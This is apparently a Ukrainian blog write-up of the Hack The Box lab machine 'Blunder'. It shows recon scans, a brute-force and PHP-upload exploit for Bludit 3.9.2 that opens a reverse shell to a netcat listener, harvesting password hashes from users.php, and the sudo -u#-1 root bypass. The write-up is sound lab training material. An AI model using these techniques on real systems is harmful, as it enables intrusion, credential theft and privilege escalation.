Друкарня від WE.UA

Стартуємо з Blunder - Linux машини легкого рівня.


Розвідка

Збір інформації почнемо з autorecon:

$ autorecon x.x.x.x --single-target --no-port-dirs

Результат Nmap:

PORT   STATE  SERVICE REASON       VERSION
21/tcp closed ftp     conn-refused
80/tcp open   http    syn-ack      Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-title: Blunder | A blunder of interesting facts
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: A0F0E5D852F0E3783AF700B6EE9D00DA

Результат feroxbuster:

500      GET        2l        4w       28c http://x.x.x.x/bl-themes/blogx/
200      GET        2l     1276w    88145c http://x.x.x.x/bl-kernel/js/jquery.min.js
200      GET        6l     1963w   155712c http://x.x.x.x/bl-kernel/css/bootstrap.min.css
200      GET      115l      200w     1404c http://x.x.x.x/bl-themes/blogx/css/style.css
200      GET        6l       30w     1894c http://x.x.x.x/bl-themes/blogx/img/favicon.png
200      GET        6l      987w    78586c http://x.x.x.x/bl-kernel/js/bootstrap.bundle.min.js
200      GET      170l      918w     7562c http://x.x.x.x/
200      GET       28l       28w      563c http://x.x.x.x/.gitignore
200      GET      170l      918w     7562c http://x.x.x.x/0
200      GET       21l      171w     1083c http://x.x.x.x/LICENSE
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/img/favicon.png
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/css/bootstrap.min.css
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/js/bootstrap.bundle.min.js
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/admin/themes/booty/css/bludit.css
200      GET       70l      157w     2385c http://x.x.x.x/admin/text/css
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/admin/themes/booty/css/bludit.bootstrap.css
200      GET       70l      157w     2385c http://x.x.x.x/admin/bl-kernel/js/jquery.min.js
200      GET       70l      157w     2385c http://x.x.x.x/admin/image/x-icon
200      GET       70l      157w     2385c http://x.x.x.x/admin/
200      GET        1l        5w       30c http://x.x.x.x/install.php
200      GET        2l        4w       22c http://x.x.x.x/robots.txt
200      GET        4l       23w      118c http://x.x.x.x/todo.txt

Передивившись знахідки, можна відмітити для себе логін форму у CMS Bludit і todo.txt файл, у якому згадується такий собі fergus. Спроба перебору паролів за допомогою hydra з використанням кількох словників для користувача fergus не принесла бажаного результату.

Наступний крок - перевірити публічні експлойти для даної CMS(переглянувши HTML код вебсторінки, бачимо що версія аплікації 3.9.2). Знаходимо те, що нам потрібно в Exploit-DB Bludit 3.9.2 - Auth Bruteforce Bypass - PHP webapps Exploit і Bludit 3.9.2 - Directory Traversal - Multiple webapps Exploit.

CVE-2019-17240 - bl-kernel/security.class.php у Bludit 3.9.2 дозволяє атакуючому обійти механізм захисту від атак методом прямого перебору шляхом підробки X-Forwarded-For або Client-IP HTTP заголовків. Більше деталей тут.

CVE-2019-16113 - bl-kernel/ajax/upload-images.php у Bludit 3.9.2 має вразливість, яка дозволяє атакуючому здійснити віддалене виконання коду. Зловмисник може завантажити jpg/png файл, що містить PHP код і виконати його, перейшовши за посиланням на завантажений файл(наприклад ../bl-content/tmp/temp/evil.png)


Первинне проникнення

На щастя, добра людина створила код, який поєднує експлуатацію обох цих вразливостей(не забудьте запустити netcat/інший інструмент на ваш смак у режимі прослуховування порту). Однак, запустивши скрипт декілька разів з різними словниками, правильний пароль так і не був знайдений. Кілька разів вже попадалась на цьому на інших машинах - скоріше за все потрібен кастомізований словник, який можна згенерувати за допомогою cewl:

$ cewl http://x.x.x.x --with-numbers | grep -v CeWL  >> custom-wordlist.txt

Згенерований словник спрацював чудово, ми знайшли пароль для користувача fergus і отримали reverse shell з нашого таргету.

$ python3 poc.py                                                                                  
     _____      _    ______  _____  _____
    |  __ \    | |   | ___ \/  __ \|  ___|
    | |  \/ ___| |_  | |_/ /| /  \/| |__
    | | __ / _ \ __| |    / | |    |  __|
    | |_\ \  __/ |_ _| |\ \ | \__/\| |___
     \____/\___|\__(_)_| \_| \____/\____/

    This exploit combines CVE-2019-17240 & CVE-2019-16113 to gain remote shell on target.

    Created by: kisho64 (@h_a_m_i__)
    
Enter target URL (i.e. https://target.com): http://x.x.x.x
[ ~ ] Enter listener's IP: y.y.y.y
[ ~ ] Enter listener's port: 4444
[...] Checking if the target is live...
[ + ] The target is live! We are good to go...

[ ~ ] Should I bruteforce username? [Y/N]: N
[ ~ ] What username should I use? (leave this to use admin as username): fergus
[ ~ ] Enter the location for password list: custom-wordlist.txt

[ * ] Tried: somepass
[ * ] Tried: anotherpass
[ * ] Tried: morepass
[ * ] Tried: passwordagain
[ + ] Creds found: fergus:correctpassword

[...] Attempting to login now...
[ + ] Login succeed... We are good to go :)

[ + ] The payload hPCHDONKfL.php has been uploaded...
[ + ] The payload .htaccess has been uploaded...

[...] Attempting to get a shell... @ http://x.x.x.x/bl-content/tmp/hPCHDONKfL.php
[ + ] You should be getting a shell by now, if not open http://x.x.x.x/bl-content/tmp/hPCHDONKfL.php
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [y.y.y.y] from (UNKNOWN) [x.x.x.x] 43584
bash: cannot set terminal process group (1253): Inappropriate ioctl for device
bash: no job control in this shell
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$

Горизонтальне підвищення привілеїв

Озирнувшись трохи довкола, бачимо, що на машині є два облікових записи; user.txt файл знаходиться у домашній директорії користувача hugo і ми не маємо до неї доступу як www-data. Проінспектувавши цікаві файли в директорії, натрапляємо на /var/www/bludit-3.9.2/bl-content/databases/users.php файл, який містить хешовані(SHA-1) паролі для користувачів admin і fergus. Спроба отримати пароль для адміністратора не принесла результатів, тому рухаємось далі. Продовжуючи дослідження, бачимо, що /var/www/ містить директорію для новішої версії Bludit. Перевіряємо users.php файл для цієї версії і знаходимо хеш пароля для користувача hugo:

www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
.....

Цей хеш не піддався hashcat(не всі словники панацея), зате Crackstation впорався чудово і тепер ми маємо пароль для користувача hugo.

www-data@blunder:/$ python3 -c 'import pty;pty.spawn("/bin/bash");'   
www-data@blunder:/$ su - hugo
Password: hehehe

hugo@blunder:~$

Вертикальне підвищення привілеїв

Підвищення привілеїв до root на цій машині виявилось доволі швидким. Переглянемо список команд, які користувач hugo може виконувати з правами супер користувача:

hugo@blunder:~$ sudo -l
Password: hehehe

Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash

Нас цікавить останній рядок, скористаємось гугл-пошуком і одразу знаходимо sudo 1.8.27 - Security Bypass в Exploit-DB.

CVE-2019-14287 - вразливість у версіях Sudo <1.8.28, яка дозволяє користувачам обійти механізми безпеки sudo і підвищити свої привілеї у системі; дозволяє sudo-користувачам виконувати команди як root, навіть якщо налаштування явно забороняють це.

Налаштування для користувача hugo говорять нам, що він може запускати /bin/bash як будь-який інший користувач, окрім root. Спробуємо застосувати знайдену техніку обходу цих налаштувань і отримуємо доступ до root:

hugo@blunder:~$ sudo -u#-1 /bin/bash
Password: hehehe

root@blunder:/home/hugo# cd /root
root@blunder:/root# ls
log  reset.sh  root.txt  snap

Після вирішення машини(або навіть під час, якщо застряг) буває корисно і цікаво подивитись проходження від більш тямущих людей, щоб глибше зрозуміти технічні деталі та моменти, які проґавив.

Легенда

Статті про вітчизняний бізнес та цікавих людей:

  • Вітаємо з Різдвом Христовим!

    Друкарня та платформа WE.UA вітають всіх наших читачів та авторів зі світлим святом Різдва! Зичимо всім українцям довгожданого миру, міцного здоровʼя, злагоди, родинного затишку та втілення всього доброго і прекрасного, чого вам побажали колядники!

    Теми цього довгочиту:

    Різдво
  • Каблучки – прикраси, які варто купувати

    Ювелірні вироби – це не тільки спосіб витратити гроші, але і зробити вигідні інвестиції. Бо вартість ювелірних виробів з кожним роком тільки зростає. Тому купуючи стильні прикраси, ви вигідно вкладаєте кошти.

    Теми цього довгочиту:

    Як Вибрати Каблучку
  • П'ять помилок у виборі домашнього текстилю, які псують комфорт сну

    Навіть ідеальний матрац не компенсує дискомфорт, якщо текстиль підібрано неправильно. Постільна білизна безпосередньо впливає на терморегуляцію, стан шкіри та глибину сну. Більшість проблем виникає не через низьку якість виробів, а через вибір матеріалів та подальшу експлуатацію

    Теми цього довгочиту:

    Домашній Текстиль
  • Як знайти житло в Києві

    Переїжджаєте до Києва і шукаєте житло? Дізнайтеся, як орендувати чи купити квартиру, перевірити власника та знайти варіанти, про які зазвичай не говорять.

    Теми цього довгочиту:

    Агентство Нерухомості
  • Як заохотити дитину до читання?

    Як залучити до читання сучасну молодь - поради та факти. Користь читання для дітей - основні переваги. Розвиток дітей - це наше майбутнє.

    Теми цього довгочиту:

    Читання
Поділись своїми ідеями в новій публікації.
Ми чекаємо саме на твій довгочит!
hexa
hexa@hexa

Cyber-дилетант

68Прочитань
4Автори
1Читачі
На Друкарні з 15 червня

Більше від автора

  • Проходження Hack The Box | Blocky

    Blocky - Linux машина легкого рівня. Якщо провести ретроспективу, то шлях від розвідки до отримання прав root користувача доволі простий, але те, що на машині є певна кількість кролячих нір, зробило її цікавою ціллю для практики.

    Теми цього довгочиту:

    Htb
  • Проходження Hack The Box | Antique

    Antique - Linux машина легкого рівня. Доволі цікавий шлях первинного проникнення до системи. Гарна можливість познайомитись з роботою протоколу SNMP.

    Теми цього довгочиту:

    Htb
  • Проходження Hack The Box | Nibbles

    Nibbles - Linux машина легкого рівня. По правді кажучи, ця машина викликала багато прикрих почуттів. Той момент, коли витрачаєш купу часу на розв'язання задачі, а потім виявляється, що ти зовсім не у той бік думав і просто бився об стіну. Але давайте по черзі.

    Теми цього довгочиту:

    Htb

Це також може зацікавити:

Коментарі (0)

Підтримайте автора першим.
Напишіть коментар!

Це також може зацікавити: